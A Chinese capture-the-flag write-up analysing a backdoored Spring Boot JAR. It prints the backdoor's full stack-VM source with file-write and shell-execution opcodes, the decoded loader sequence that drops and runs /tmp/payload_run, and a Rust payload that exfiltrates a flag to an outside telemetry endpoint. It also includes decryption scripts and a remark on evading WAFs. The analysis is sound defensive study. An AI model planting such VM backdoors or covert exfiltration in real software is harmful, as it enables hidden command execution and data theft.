第三届“长城杯”网数智安全大赛(防护赛)总决赛 两道Java题的wp

声明

已退役的老登了. 我是云子,因此只能云参赛了,学弟参加了本次决赛,说是渗透部分比较难. 让我来看看咋个事情🤔

好久不玩ctf了,但分析漏洞还是不能少,不然已经快忘记jvav是什么东西来的了.问题不大,干就完事了!

notjavaweb

题目给出一个 Spring Boot 应用的 JAR 包(movie-review-system-1.0.0.jar)、一个加密的 payload 文件(payload.enc)和一份网络流量包(traffic.pcap)。需要分析后门机制、还原攻击过程、逆向后门程序、解密恶意载荷,最终从流量中提取被窃取的 flag。本题给到夯!

分析 Spring Boot 后门机制

反编译 JAR 包后,存在一个payload.enc文件,看起来是加密的.很可能就是个马子!

在 com.example.moviereview.analytics 包中发现三个关键类:

1.1 VmContext

@Component
@Scope(value = "session", proxyMode = ScopedProxyMode.TARGET_CLASS)
public class VmContext {
    private final List<Object> buffer = Collections.synchronizedList(new ArrayList());
    public void appendEvent(Object event) { this.buffer.add(event); }
    public List<Object> getBuffer() { return new ArrayList(this.buffer); }
    public void clear() { this.buffer.clear(); }
}

每个用户会话维护一个 List<Object> 缓冲区,存放 String 或 Integer 类型事件。

1.2 AnalyticsReportGenerator —— 关键的虚拟机实现,也是本题最有价值的地方

很明显有个命令执行的指令:

完整实现:

package com.example.moviereview.analytics;

import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileOutputStream;
import java.io.InputStream;
import java.util.List;
import java.util.Stack;
import org.springframework.stereotype.Component;

@Component
public class AnalyticsReportGenerator {
   public void generateReport(List<Object> events) {
      if (events != null && !events.isEmpty()) {
         Stack<Object> dataStack = new Stack();
         int pc = 0;

         while(pc < events.size()) {
            Object event = events.get(pc);

            try {
               if (event instanceof String) {
                  dataStack.push(event);
               } else if (event instanceof Integer) {
                  int opcode = (Integer)event;
                  if (opcode == 21) {
                     if (!dataStack.isEmpty() && dataStack.peek() instanceof Integer) {
                        pc = (Integer)dataStack.pop();
                        continue;
                     }
                  } else if (opcode == 22) {
                     if (dataStack.size() >= 2) {
                        int targetPc = (Integer)dataStack.pop();
                        int condition = (Integer)dataStack.pop();
                        if (condition == 0) {
                           pc = targetPc;
                           continue;
                        }
                     }
                  } else {
                     this.executeOpcode(opcode, dataStack);
                  }
               }
            } catch (Exception e) {
               System.err.println("[VM ERROR] PC: " + pc + " | Exception: " + e.getMessage());
            }

            ++pc;
         }

      }
   }

   private void executeOpcode(int opcode, Stack<Object> stack) throws Exception {
      switch (opcode) {
         case 10:
            if (!stack.isEmpty() && stack.peek() instanceof String) {
               String path = (String)stack.pop();
               byte[] resourceData = this.readResource(path);
               if (resourceData != null) {
                  stack.push(resourceData);
               }
            }
            break;
         case 11:
            if (stack.size() >= 2) {
               Object indexObj = stack.pop();
               Object dataObj = stack.pop();
               if (dataObj instanceof byte[] && indexObj instanceof Integer) {
                  byte[] data = (byte[])dataObj;
                  int idx = (Integer)indexObj;
                  if (idx >= 0 && idx < data.length) {
                     stack.push(data);
                     stack.push(data[idx]);
                  }
               }
            }
            break;
         case 12:
            if (stack.size() >= 3) {
               Object valObj = stack.pop();
               Object indexObj = stack.pop();
               Object dataObj = stack.pop();
               if (dataObj instanceof byte[] && indexObj instanceof Integer && valObj instanceof Integer) {
                  byte[] data = (byte[])dataObj;
                  int idx = (Integer)indexObj;
                  int val = (Integer)valObj;
                  if (idx >= 0 && idx < data.length) {
                     data[idx] = (byte)val;
                  }

                  stack.push(data);
               }
            }
            break;
         case 13:
            if (stack.size() >= 2) {
               Object b = stack.pop();
               Object a = stack.pop();
               if (a instanceof Integer && b instanceof Integer) {
                  stack.push((Integer)a ^ (Integer)b);
               }
            }
            break;
         case 14:
            if (stack.size() >= 2) {
               Object b = stack.pop();
               Object a = stack.pop();
               if (a instanceof Integer && b instanceof Integer) {
                  stack.push((Integer)a * (Integer)b & 255);
               }
            }
            break;
         case 15:
            if (stack.size() >= 2) {
               Object top = stack.pop();
               Object next = stack.pop();
               String path = null;
               byte[] data = null;
               if (top instanceof String && next instanceof byte[]) {
                  path = (String)top;
                  data = (byte[])next;
               } else if (top instanceof byte[] && next instanceof String) {
                  data = (byte[])top;
                  path = (String)next;
               }

               if (path != null && data != null) {
                  this.writeFile(path, data);
               }
            }
            break;
         case 16:
            if (!stack.isEmpty() && stack.peek() instanceof String) {
               String cmd = (String)stack.pop();

               try {
                  ProcessBuilder pb;
                  if (System.getProperty("os.name").toLowerCase().contains("win")) {
                     pb = new ProcessBuilder(new String[]{"cmd.exe", "/c", cmd});
                  } else {
                     pb = new ProcessBuilder(new String[]{"/bin/sh", "-c", cmd});
                  }

                  pb.redirectErrorStream(true);
                  pb.start();
               } catch (Exception var10) {
                  Runtime.getRuntime().exec(cmd);
               }
            }
            break;
         case 17:
            if (!stack.isEmpty() && stack.peek() instanceof byte[]) {
               byte[] data = (byte[])stack.peek();
               stack.push(data.length);
            }
            break;
         case 18:
            if (!stack.isEmpty() && stack.peek() instanceof String) {
               try {
                  String valStr = (String)stack.pop();
                  stack.push(Integer.parseInt(valStr));
               } catch (NumberFormatException var9) {
               }
            }
            break;
         case 19:
            if (!stack.isEmpty()) {
               stack.push(stack.peek());
            }
            break;
         case 20:
            if (stack.size() >= 2) {
               Object a = stack.pop();
               Object b = stack.pop();
               stack.push(a);
               stack.push(b);
            }
         case 21:
         case 22:
         default:
            break;
         case 23:
            if (stack.size() >= 2) {
               Object b = stack.pop();
               Object a = stack.pop();
               if (a instanceof Integer && b instanceof Integer) {
                  stack.push((Integer)a - (Integer)b);
               }
            }
            break;
         case 24:
            if (stack.size() >= 2) {
               Object b = stack.pop();
               Object a = stack.pop();
               if (a instanceof Integer && b instanceof Integer) {
                  stack.push((Integer)a + (Integer)b);
               }
            }
            break;
         case 25:
            if (!stack.isEmpty() && stack.peek() instanceof Integer) {
               int idx = (Integer)stack.pop();
               if (idx >= 0 && idx < stack.size()) {
                  stack.push(stack.get(stack.size() - 1 - idx));
               }
            }
            break;
         case 26:
            if (!stack.isEmpty()) {
               stack.pop();
            }
      }

   }

   private byte[] readResource(String path) throws Exception {
      if (!path.startsWith("/")) {
         path = "/" + path;
      }

      InputStream is = this.getClass().getResourceAsStream(path);

      ByteArrayOutputStream buffer;
      label54: {
         byte[] var6;
         try {
            if (is == null) {
               buffer = null;
               break label54;
            }

            buffer = new ByteArrayOutputStream();
            byte[] data = new byte[16384];

            int nRead;
            while((nRead = is.read(data, 0, data.length)) != -1) {
               buffer.write(data, 0, nRead);
            }

            var6 = buffer.toByteArray();
         } catch (Throwable var8) {
            if (is != null) {
               try {
                  is.close();
               } catch (Throwable var7) {
                  var8.addSuppressed(var7);
               }
            }

            throw var8;
         }

         if (is != null) {
            is.close();
         }

         return var6;
      }

      if (is != null) {
         is.close();
      }

      return (byte[])buffer;
   }

   private void writeFile(String path, byte[] data) throws Exception {
      File file = new File(path);
      File parent = file.getParentFile();
      if (parent != null && !parent.exists()) {
         parent.mkdirs();
      }

      FileOutputStream fos = new FileOutputStream(file);

      try {
         fos.write(data);
      } catch (Throwable var9) {
         try {
            fos.close();
         } catch (Throwable var8) {
            var9.addSuppressed(var8);
         }

         throw var9;
      }

      fos.close();
   }
}

generateReport() 方法实际上是一个基于栈的虚拟机(VM)。遍历事件列表:

  • String → 直接压栈
  • Integer → 作为操作码执行

最终逆向到核心操作码如下:

操作码

功能

10

读取 classpath 资源到 byte[]

11

数组读取 byte[idx]

12

数组写入 byte[idx] = val

13

XOR

15

写文件

16

执行系统命令

17

获取数组长度

18

parseInt(字符串转整数)

21

无条件跳转

22

条件跳转(条件为0时跳转)

23

减法

24

加法

25

Pick(按索引取栈中元素)

26

Drop

1.3 事件参数注入方式

也即常见后门传递命令参数的地方,这个地方思路还是很好的,比较具有实战意义.

整数注入(操作码):通过 UserBehaviorAnalyticsAspect 的 @Before("updateAvatarPointcut()") 切面,调用 PUT /api/user/avatar 时,emojiAvatarId(1-26 的整数)被添加到 VmContext。

字符串注入:通过 ReviewController.add() 方法,提交评论时提取 content 中 [...] 括号内的内容作为字符串事件。

1.4 触发执行

UserController.logout() 中调用 analyticsReportGenerator.generateReport(buffer),触发 VM 执行所有缓冲事件。

从流量还原 VM 指令序列

题目给了个流量包,蓝色鲨鱼打开即可,先根据协议排个序,发现有许多http流量,那就跟踪流把所有的http请求以及回包dump出来放到一个txt文件即可

通过解析 1.txt(dump出来的HTTP 请求日志),按请求顺序提取事件:

  • POST /api/login → vmContext.clear()
  • POST /api/user/avatar → 添加 emojiAvatarId(Integer)
  • POST /api/reviews/add → 提取 content 中括号内容(String)
  • POST /api/logout → 触发 VM 执行

大概就长这样的流量,从waf或者一些流量设备视角甚至是蓝队眼中来看这流量与业务流量也没啥区别,并且指令是分散的而且也很短,或许中间还可以加点混淆流量,真真假假或许效果更好(bushi)

对照着vm的实现一条条读然后解即可:

还原后的 VM 指令序列(67 条):

[ 0] (str) '/payload.enc'    # 资源路径
[ 1] (int) 10                # readResource
[ 2] (int) 17                # arrayLength
[ 3] (str) '0'               # 计数器初始值
[ 4] (int) 18                # parseInt -> 0
[ 5] (str) '102'             # 初始密钥
[ 6] (int) 18                # parseInt -> 102
[ 7] (str) '2'               # ─┐
[ 8] (int) 18                #  │ 循环体开始 (PC=7)
[ 9] (int) 25                #  │ PICK: 获取 length
[10] (str) '2'               #  │
[11] (int) 18                #  │
[12] (int) 25                #  │ PICK: 获取 counter
[13] (int) 23                #  │ SUB: length - counter
[14] (str) '58'              #  │
[15] (int) 18                #  │ parseInt -> 58 (循环结束跳转目标)
[16] (int) 22                #  │ JZ: if (length-counter)==0 goto 58
[17] (str) '3'               #  │
[18] (int) 18                #  │
[19] (int) 25                #  │ PICK: 获取 data[]
[20] (str) '2'               #  │
[21] (int) 18                #  │
[22] (int) 25                #  │ PICK: 获取 counter
[23] (int) 11                #  │ AGET: data[counter]
[24] (int) 20                #  │ SWAP
[25] (int) 26                #  │ DROP 多余的 data ref
[26] (str) '1'               #  │
[27] (int) 18                #  │
[28] (int) 25                #  │ PICK: 获取 key
[29] (int) 13                #  │ XOR: byte ^ key
[30] (str) '2'               #  │
[31] (int) 18                #  │
[32] (int) 25                #  │ PICK: 获取 counter
[33] (int) 23                #  │ SUB: (byte^key) - counter
[34] (str) '4'               #  │
[35] (int) 18                #  │
[36] (int) 25                #  │ PICK: 获取 data[]
[37] (str) '3'               #  │
[38] (int) 18                #  │
[39] (int) 25                #  │ PICK: 获取 counter
[40] (str) '2'               #  │
[41] (int) 18                #  │
[42] (int) 25                #  │ PICK: 获取 decrypted value
[43] (int) 12                #  │ ASET: data[counter] = decrypted
[44] (int) 26                #  │ DROP
[45] (str) '55'              #  │
[46] (int) 18                #  │ parseInt -> 55
[47] (int) 13                #  │ XOR: decrypted ^ 55 -> new key
[48] (int) 20                #  │ SWAP
[49] (int) 26                #  │ DROP old key
[50] (int) 20                #  │ SWAP
[51] (str) '1'               #  │
[52] (int) 18                #  │
[53] (int) 24                #  │ ADD: counter + 1
[54] (int) 20                #  │ SWAP
[55] (str) '7'               #  │
[56] (int) 18                #  │ parseInt -> 7
[57] (int) 21                # ─┘ JUMP -> PC=7 (循环)
[58] (int) 26                # DROP (循环结束后清理)
[59] (int) 26                # DROP
[60] (int) 26                # DROP
[61] (str) '/tmp/payload_run'
[62] (int) 15                # writeFile
[63] (str) 'chmod +x /tmp/payload_run'
[64] (int) 16                # EXEC: chmod +x
[65] (str) '/tmp/payload_run'
[66] (int) 16                # EXEC: 运行 payload

思考 :

此处可以类比我们常见遇到的”webshell”就很好理解了,一个常见的后门应该是有命令执行,文件读取,文件上传等功能因只不过它是通过了栈指令去隐藏了本身的攻击指令并不像cmd=xxx那么直接,在流量层面还是很难被发现.但是你发现没,就是在栈指令部分它没有直接的文件读取和发送执行结果的那种case.那么肯定还有个东西没用上,那就是那个payload.enc了,可以看到它中间加载了payload.enc,大概率就是个混淆二进制文件然后一通解密成可执行二进制文件然后再通过命令执行接口去执行得到结果并回传对应c2就行,这样整个链路就串起来了,因此这样猜测那么八九不离十那个payload里有对应的加解密流量部分…那这个vm虚拟机也就是相当于一个loader,核心恶意逻辑应该都在payload.enc

解密 payload.enc

逆向VM得到解密算法为:

key = 102
for i in range(len(data)):
    xor_result = data[i] ^ key
    decrypted = (xor_result - i) & 0xFF
    data[i] = decrypted
    key = decrypted ^ 55

写出解密脚本即可:

def decrypt_payload(enc_path, out_path):
    """VM 实现的解密算法:XOR + 减计数器 + 滚动密钥"""
    with open(enc_path, 'rb') as f:
        data = bytearray(f.read())

    key = 102
    for i in range(len(data)):
        xor_result = data[i] ^ key
        decrypted = (xor_result - i) & 0xFF
        data[i] = decrypted
        key = decrypted ^ 55

    assert data[:4] == b'\x7fELF', "解密失败:不是有效的 ELF 文件"
    with open(out_path, 'wb') as f:
        f.write(data)
    print(f"[+] payload.enc 解密成功 -> {out_path} ({len(data)} bytes)")
    return data
elf = decrypt_payload('payload.enc', 'payload_decrypted.elf')

解密payload后得到一个 3,964,576 字节的 ELF x86-64 Rust 二进制文件,也即真正的后门本体!

逆向 ELF 二进制

功能分析

通过字符串分析发现该二进制的行为:

  1. 读取 /home/ccb/flag.txt
  2. 使用自定义 AES-128-CBC 加密
  3. 将后门执行结果密文 POST 到 http://192.168.117.1:9961/api/telemetry

定位加密参数

根据前面的/home/ccb/flag.txt特征来定位即可!

__int64 __fastcall payload::main()
{
  void *src_3; // rsi
  __int64 v1; // rdx
  size_t n_1; // rbx
  const void *src_1; // r14
  __int64 i; // rax
  __int64 j; // rax
  unsigned __int64 k; // rax
  unsigned __int8 v8; // r8
  unsigned __int8 v9; // si
  unsigned __int8 v10; // di
  __int64 v11; // r9
  char v12; // di
  __int64 c; // r12
  char **dest; // rdx
  __int64 v15; // rdx
  __int64 v16; // rcx
  __int64 v17; // rbx
  void *s; // rdx
  void *src_2; // r14
  __int64 v20; // rdx
  __int64 v21; // rcx
  __int128 src__7; // rax
  unsigned __int64 m; // rax
  __int64 n16; // rcx
  __int64 n; // rax
  __int64 ii; // rax
  int *v27; // rax
  __int64 i2; // rcx
  __int64 jj; // rdx
  __int64 kk; // rsi
  __int64 mm_2; // rdx
  __int64 mm; // r15
  int *v33; // rbx
  __int64 nn; // rcx
  __int64 i1; // rdx
  _BYTE *v36; // rax
  __int64 v37; // rdx
  __int64 i3; // rsi
  __int64 i4; // rbp
  unsigned int v40; // r15d
  unsigned int v41; // r12d
  unsigned int v42; // ebx
  unsigned int v43; // r13d
  char v44; // r14
  char v45; // r14
  char v46; // r14
  char v47; // r14
  int *v48; // rbx
  __int128 *src_8; // rax
  __int64 i5; // rdx
  __int64 i6; // rsi
  unsigned __int64 m_1; // rbx
  _BYTE *src_5; // rsi
  __int64 v54; // rbp
  __int64 mm_3; // r15
  __int64 v56; // r13
  char **dest_3; // r14
  __int128 v58; // xmm0
  char **dest_4; // rax
  __int64 src_6; // rsi
  __int64 src_7; // rsi
  int v62; // [rsp+0h] [rbp-1C8h] BYREF
  _BYTE v63[4]; // [rsp+4h] [rbp-1C4h] BYREF
  char **dest_5; // [rsp+8h] [rbp-1C0h] BYREF
  __int128 src__4; // [rsp+10h] [rbp-1B8h] BYREF
  __int64 mm_1; // [rsp+28h] [rbp-1A0h]
  __int64 src__1; // [rsp+30h] [rbp-198h] BYREF
  char **dest_1; // [rsp+38h] [rbp-190h]
  size_t n_2; // [rsp+40h] [rbp-188h]
  char **dest; // [rsp+48h] [rbp-180h]
  __int128 src__5; // [rsp+50h] [rbp-178h] BYREF
  __int128 src__6; // [rsp+60h] [rbp-168h]
  __int128 p_fd; // [rsp+70h] [rbp-158h] BYREF
  __int128 src_; // [rsp+80h] [rbp-148h] BYREF
  __int64 n16_1; // [rsp+90h] [rbp-138h]
  unsigned __int64 m_2; // [rsp+98h] [rbp-130h]
  void *src[2]; // [rsp+A0h] [rbp-128h] BYREF
  __int64 v78; // [rsp+B0h] [rbp-118h]
  __int128 src__3; // [rsp+C0h] [rbp-108h] BYREF
  __int64 src__2; // [rsp+D0h] [rbp-F8h]
  _BYTE p_dest[160]; // [rsp+D8h] [rbp-F0h] BYREF
  _OWORD v82[4]; // [rsp+188h] [rbp-40h]

  v82[0] = xmmword_5280;
  src_3 = &src__0;
  std::fs::read::inner();
  if ( __OFSUB__(0, *(_QWORD *)p_dest) )
    return core::ptr::drop_in_place<std::io::error::Error>(&p_dest[8], &src__0);
  n_1 = *(_QWORD *)&p_dest[16];
  v78 = *(_QWORD *)&p_dest[16];
  *(_OWORD *)src = *(_OWORD *)p_dest;
  src_1 = *(const void **)&p_dest[8];
  for ( i = 0; i != 44; ++i )
    *(_DWORD *)&p_dest[4 * i] = 0;
  for ( j = 0; j != 4; ++j )
    *(_DWORD *)&p_dest[4 * j] = *((_DWORD *)v82 + j);
  for ( k = 4; k != 44; ++k )
  {
    v8 = p_dest[4 * k - 4];
    v9 = p_dest[4 * k - 3];
    LOBYTE(v1) = p_dest[4 * k - 2];
    v10 = p_dest[4 * k - 1];
    if ( (k & 3) == 0 )
    {
      v11 = v9;
      v1 = (unsigned __int8)v1;
      v9 = byte_6970[(unsigned __int8)v1];
      LOBYTE(v1) = byte_6970[v10];
      v10 = byte_6970[v8];
      v8 = byte_6970[v11] ^ byte_6A70[k >> 2];
    }
    v12 = *((_BYTE *)&src__3 + 4 * k + 11) ^ v10;
    LOBYTE(v1) = *((_BYTE *)&src__3 + 4 * k + 10) ^ v1;
    LOBYTE(src_3) = *((_BYTE *)&src__3 + 4 * k + 9) ^ v9;
    p_dest[4 * k] = *((_BYTE *)&src__3 + 4 * k + 8) ^ v8;
    p_dest[4 * k + 1] = (_BYTE)src_3;
    p_dest[4 * k + 2] = v1;
    p_dest[4 * k + 3] = v12;
  }
  c = 16 - (n_1 & 0xF);
  src__1 = alloc::raw_vec::RawVecInner<A>::with_capacity_in(n_1, src_3, v1, byte_6A70);
  dest_1 = dest;
  memcpy(dest, src_1, n_1);
  n_2 = n_1;
  v17 = alloc::raw_vec::RawVecInner<A>::with_capacity_in(c, src_1, v15, v16);
  src_2 = s;
  memset(s, c, c);
  alloc::vec::Vec<T,A>::append_elements(&src__1, src_2, c);
  *(_QWORD *)&src__5 = v17;
  *((_QWORD *)&src__5 + 1) = src_2;
  <alloc::raw_vec::RawVec<T,A> as core::ops::drop::Drop>::drop(&src__5);
  *(_QWORD *)&src__7 = alloc::raw_vec::RawVecInner<A>::with_capacity_in(n_2, src_2, v20, v21);
  src__5 = src__7;
  *(_QWORD *)&src__6 = 0;
  src_ = src_;
  dest = dest_1;
  for ( m = n_2; m; m = m_1 )
  {
    n16 = 16;
    m_2 = m;
    if ( m < 0x10 )
      n16 = m;
    p_fd = 0;
    n16_1 = n16;
    core::slice::copy_from_slice_impl(&p_fd, 16, dest, n16, &off_56B08);// "src/main.rs"
    for ( n = 0; n != 16; ++n )
      *((_BYTE *)&p_fd + n) ^= *((_BYTE *)&src_ + n);
    for ( ii = 0; ii != 4; ++ii )
      *(_DWORD *)&v63[4 * ii - 4] = 0;
    v27 = &v62;
    i2 = (__int64)&p_fd;
    for ( jj = 0; jj != 4; ++jj )
    {
      for ( kk = 0; kk != 4; ++kk )
        LOBYTE(v27[kk]) = *(_BYTE *)(i2 + kk);
      i2 += 4;
      v27 = (int *)((char *)v27 + 1);
    }
    mm_2 = 0;
    for ( mm = 1; ; mm = mm_1 + 1 )
    {
      v33 = &v62;
      payload::add_round_key(&v62, p_dest, mm_2, i2);
      for ( nn = 0; nn != 16; nn += 4 )
      {
        for ( i1 = 0; i1 != 4; ++i1 )
          *((_BYTE *)v33 + i1) = byte_6970[*((unsigned __int8 *)v33 + i1)];
        ++v33;
      }
      v36 = v63;
      for ( i2 = 1; i2 != 4; ++i2 )
      {
        v37 = qword_6930[i2];
        LODWORD(src__4) = *(_DWORD *)&v63[4 * i2 - 4];
        for ( i3 = 0; i3 != 4; ++i3 )
          v36[i3] = *((_BYTE *)&src__4 + (((_BYTE)v37 + (_BYTE)i3) & 3));
        v36 += 4;
      }
      if ( mm == 10 )
        break;
      mm_1 = mm;
      for ( i4 = -4; i4; ++i4 )
      {
        v40 = (unsigned __int8)v63[i4];
        v41 = *((unsigned __int8 *)&dest_5 + i4);
        v42 = *((unsigned __int8 *)&dest_5 + i4 + 4);
        v43 = *((unsigned __int8 *)&src__4 + i4);
        v44 = payload::gmul(2, (unsigned __int8)v63[i4]);
        v63[i4] = v44 ^ payload::gmul(3, v41) ^ v43 ^ v42;
        v45 = payload::gmul(2, v41);
        *((_BYTE *)&dest_5 + i4) = v45 ^ payload::gmul(3, v42) ^ v43 ^ v40;
        v46 = payload::gmul(2, v42);
        *((_BYTE *)&dest_5 + i4 + 4) = v46 ^ payload::gmul(3, v43) ^ v41 ^ v40;
        v47 = payload::gmul(3, v40);
        *((_BYTE *)&src__4 + i4) = v47 ^ payload::gmul(2, v43) ^ v42 ^ v41;
      }
      mm_2 = mm_1;
    }
    v48 = &v62;
    payload::add_round_key(&v62, p_dest, 10, 4);
    src__4 = 0;
    src_8 = &src__4;
    for ( i5 = 0; i5 != 4; ++i5 )
    {
      for ( i6 = 0; i6 != 4; ++i6 )
        *((_BYTE *)src_8 + i6) = v48[i6];
      v48 = (int *)((char *)v48 + 1);
      src_8 = (__int128 *)((char *)src_8 + 4);
    }
    dest = (char **)((char *)dest + n16_1);
    m_1 = m_2 - n16_1;
    src_ = src__4;
    alloc::vec::Vec<T,A>::append_elements(&src__5, &src_, 16);
  }
  src__2 = src__6;
  src__3 = src__5;
  core::ptr::drop_in_place<alloc::vec::Vec<u8>>(&src__1);
  *(_QWORD *)&src__4 = 0;
  src_5 = &unk_6A8D;
  <str as std::net::socket_addr::ToSocketAddrs>::to_socket_addrs();
  v54 = *(_QWORD *)&p_dest[8];
  mm_3 = *(_QWORD *)p_dest;
  if ( *(_QWORD *)p_dest )
  {
    src__6 = *(_OWORD *)&p_dest[16];
    mm_1 = *(_QWORD *)p_dest;
    *(_QWORD *)&src__5 = *(_QWORD *)p_dest;
    v56 = *(_QWORD *)&p_dest[24];
    dest_3 = 0;
    while ( v54 != v56 )
    {
      if ( *(_WORD *)v54 == 2 )
      {
        v54 += 32;
        break;
      }
      *(_WORD *)p_dest = *(_WORD *)v54;
      v58 = *(_OWORD *)(v54 + 2);
      *(_OWORD *)&p_dest[16] = *(_OWORD *)(v54 + 16);
      *(_OWORD *)&p_dest[2] = v58;
      src_5 = p_dest;
      std::sys::net::connection::socket::TcpStream::connect::inner();
      if ( !(_BYTE)src__1 )
      {
        *((_QWORD *)&src__5 + 1) = v54 + 32;
        core::ptr::drop_in_place<alloc::vec::into_iter::IntoIter<core::net::socket_addr::SocketAddr>>(&src__5, p_dest);
        mm_3 = mm_1;
        goto LABEL_66;
      }
      v54 += 32;
      dest_3 = dest_1;
      core::ptr::drop_in_place<core::option::Option<std::io::error::Error>>(&src__4, p_dest);
      *(_QWORD *)&src__4 = dest_3;
    }
    *((_QWORD *)&src__5 + 1) = v54;
    core::ptr::drop_in_place<alloc::vec::into_iter::IntoIter<core::net::socket_addr::SocketAddr>>(&src__5, src_5);
    dest_4 = &off_56AD8;                        // "could not resolve to any addresses"
    if ( dest_3 )
      dest_4 = dest_3;
    goto LABEL_69;
  }
  dest_1 = *(char ***)&p_dest[8];
LABEL_66:
  core::ptr::drop_in_place<core::option::Option<std::io::error::Error>>(&src__4, src_5);
  if ( !mm_3 )
  {
    dest_4 = dest_1;
LABEL_69:
    dest_5 = dest_4;
    v62 = 1;
    core::ptr::drop_in_place<std::io::error::Error>(&dest_5, src_5);
    goto LABEL_70;
  }
  LODWORD(p_fd) = HIDWORD(src__1);
  src__1 = src__2;
  *(_QWORD *)&src__5 = &src__1;
  *((_QWORD *)&src__5 + 1) = core::fmt::num::imp::<impl core::fmt::Display for usize>::fmt;
  alloc::fmt::format::format_inner();
  src_6 = *(_QWORD *)&p_dest[8];
  *(_QWORD *)&src__5 = std::io::Write::write_all(&p_fd, *(_QWORD *)&p_dest[8], *(_QWORD *)&p_dest[16]);
  core::ptr::drop_in_place<core::option::Option<std::io::error::Error>>(&src__5, src_6);
  src_7 = *((_QWORD *)&src__3 + 1);
  *(_QWORD *)&src__5 = std::io::Write::write_all(&p_fd, *((_QWORD *)&src__3 + 1), src__2);
  core::ptr::drop_in_place<core::option::Option<std::io::error::Error>>(&src__5, src_7);
  core::ptr::drop_in_place<alloc::vec::Vec<u8>>(p_dest);
  close(p_fd);
LABEL_70:
  core::ptr::drop_in_place<alloc::vec::Vec<u8>>(&src__3);
  return core::ptr::drop_in_place<alloc::vec::Vec<u8>>(src);
}

参数

ELF 文件偏移

值

AES 密钥 (16B)

0x5280

4a7f2c91b35ed816fa4309cc7be5283d

CBC IV (16B)

0x5270

8e1af65530c974bb2d974e1160daa73c

自定义 S-Box (256B)

0x6970

(完整 256 字节置换表)

Rcon 表 (11B)

0x6a70

00 01 02 04 08 10 20 40 80 1b 36

ShiftRows 表

0x6930

[0, 3, 1, 2]

自定义 AES 的三处修改

与标准 AES-128 的区别:

  1. 自定义 S-Box:不是标准 AES S-Box,而是一个自定义的 256 字节置换表
  2. 自定义 ShiftRows:行移位模式为 [0, 3, 1, 2](标准 AES 为 [0, 1, 2, 3])
  3. CBC 模式:使用自定义 IV

解析 traffic.pcap,找到 POST /api/telemetry 请求,提取 post body部分:

08a76a304f8a7d64baace233c30d8e78
9e27ec1ae589e7b36252ea00ecf2a9c2
74b18754f4758095956a08dc1c6793e0
7cf91658ae232ac3935aa17c03294a62
5c90ba2ef4b482ffb145388829ed5554

解密EXP

# 魔改 SBOX,必须是 256 个字节
SBOX = [
   0xc5, 0xea, 0xb8, 0x6c, 0x91, 0xa2, 0x11, 0x44, 0x5, 0xba, 0x76, 0x99, 0x45, 0x53, 0xef, 0x54, 0xa5, 0xf9, 0x90, 0x6, 0xf6, 0x28, 0xeb, 0x48, 0x85, 0x66, 0x64, 0x5c, 0x3a, 0xe, 0xe7, 0x1b, 0xf5, 0x70, 0xdb, 0xa1, 0x6f, 0xe4, 0xce, 0xcf, 0xb6, 0xe2, 0xd9, 0xa4, 0xd2, 0xb2, 0xe9, 0xc7, 0xe5, 0x9d, 0xfe, 0x2e, 0xff, 0x84, 0x9, 0x50, 0xd0, 0x41, 0x20, 0x5f, 0xd4, 0x4d, 0xaa, 0x61, 0xdd, 0x15, 0x1f, 0x26, 0xca, 0xfd, 0x1d, 0xbd, 0x7a, 0x57, 0xbf, 0x46, 0x40, 0xb3, 0x2a, 0x93, 0x96, 0x39, 0x56, 0xbe, 0xcb, 0x9c, 0x9f, 0xf1, 0x4e, 0x49, 0x7e, 0x8e, 0xd3, 0xb9, 0xc4, 0xfa, 0xd5, 0x67, 0x3, 0x1a, 0x58, 0x55, 0x30, 0x7f, 0x32, 0xc3, 0x8f, 0xdf, 0xa3, 0xd1, 0xf, 0xda, 0x4f, 0x88, 0x6d, 0xc1, 0x37, 0xd6, 0x62, 0x17, 0xa7, 0x19, 0x6b, 0x27, 0x98, 0xa9, 0x7d, 0xc, 0x23, 0x82, 0xad, 0x52, 0x42, 0x68, 0xde, 0x1e, 0xa8, 0x3b, 0x33, 0x3d, 0x43, 0x9b, 0x13, 0xb, 0xf0, 0xcc, 0x8c, 0x1, 0x12, 0x75, 0xee, 0x47, 0x7, 0x8b, 0x14, 0x2b, 0xd8, 0xae, 0x4, 0x87, 0x86, 0xdc, 0xbb, 0xe8, 0xe6, 0x3c, 0x78, 0x77, 0xc2, 0xe0, 0x69, 0x29, 0x2, 0xb1, 0x35, 0xb5, 0x0, 0x7c, 0x83, 0xc8, 0x18, 0x8a, 0x60, 0x36, 0x24, 0xc9, 0xfb, 0x38, 0xaf, 0x80, 0xb0, 0x31, 0xcd, 0x59, 0x94, 0xc6, 0x4c, 0xd7, 0xc0, 0x71, 0xe1, 0xed, 0x8d, 0x79, 0x3f, 0x4b, 0x72, 0x9e, 0x3e, 0x8, 0x2c, 0x9a, 0xa, 0x63, 0x22, 0x5b, 0x1c, 0x5a, 0x25, 0xf8, 0x4a, 0xf7, 0xa0, 0xe3, 0x6a, 0x2f, 0x89, 0x74, 0x7b, 0x5e, 0x2d, 0x5d, 0xbc, 0x95, 0xa6, 0xd, 0x16, 0xfc, 0xac, 0x34, 0xf4, 0x51, 0xab, 0x6e, 0x92, 0xec, 0xb4, 0x97, 0x81, 0x65, 0xf3, 0xb7, 0x73, 0x10, 0x21, 0xf2]

# AES-128 key,16 字节
KEY = bytes.fromhex(
    "4a7f2c91b35ed816fa4309cc7be5283d"
)

# CBC IV,16 字节
# 如果程序里初始 src_ 是 0,大概率就是全 0 IV
IV = bytes.fromhex(
    "8e1af65530c974bb2d974e1160daa73c"
)

# 密文自己填,hex 格式
CIPHERTEXT = bytes.fromhex(
    "08a76a304f8a7d64baace233c30d8e789e27ec1ae589e7b36252ea00ecf2a9c274b18754f4758095956a08dc1c6793e07cf91658ae232ac3935aa17c03294a625c90ba2ef4b482ffb145388829ed5554"
)


# =========================
# AES 基础函数
# =========================

RCON = [
    0x00,
    0x01, 0x02, 0x04, 0x08,
    0x10, 0x20, 0x40, 0x80,
    0x1B, 0x36
]


def build_inv_sbox(sbox):
    inv = [0] * 256
    for i, v in enumerate(sbox):
        inv[v] = i
    return inv


def xor_bytes(a, b):
    return bytes(x ^ y for x, y in zip(a, b))


def gmul(a, b):
    res = 0
    for _ in range(8):
        if b & 1:
            res ^= a
        high = a & 0x80
        a = (a << 1) & 0xff
        if high:
            a ^= 0x1b
        b >>= 1
    return res


def key_expansion(key, sbox):
    assert len(key) == 16

    w = list(key)

    for i in range(4, 44):
        temp = w[(i - 1) * 4:i * 4]

        if i % 4 == 0:
            # RotWord
            temp = temp[1:] + temp[:1]

            # SubWord
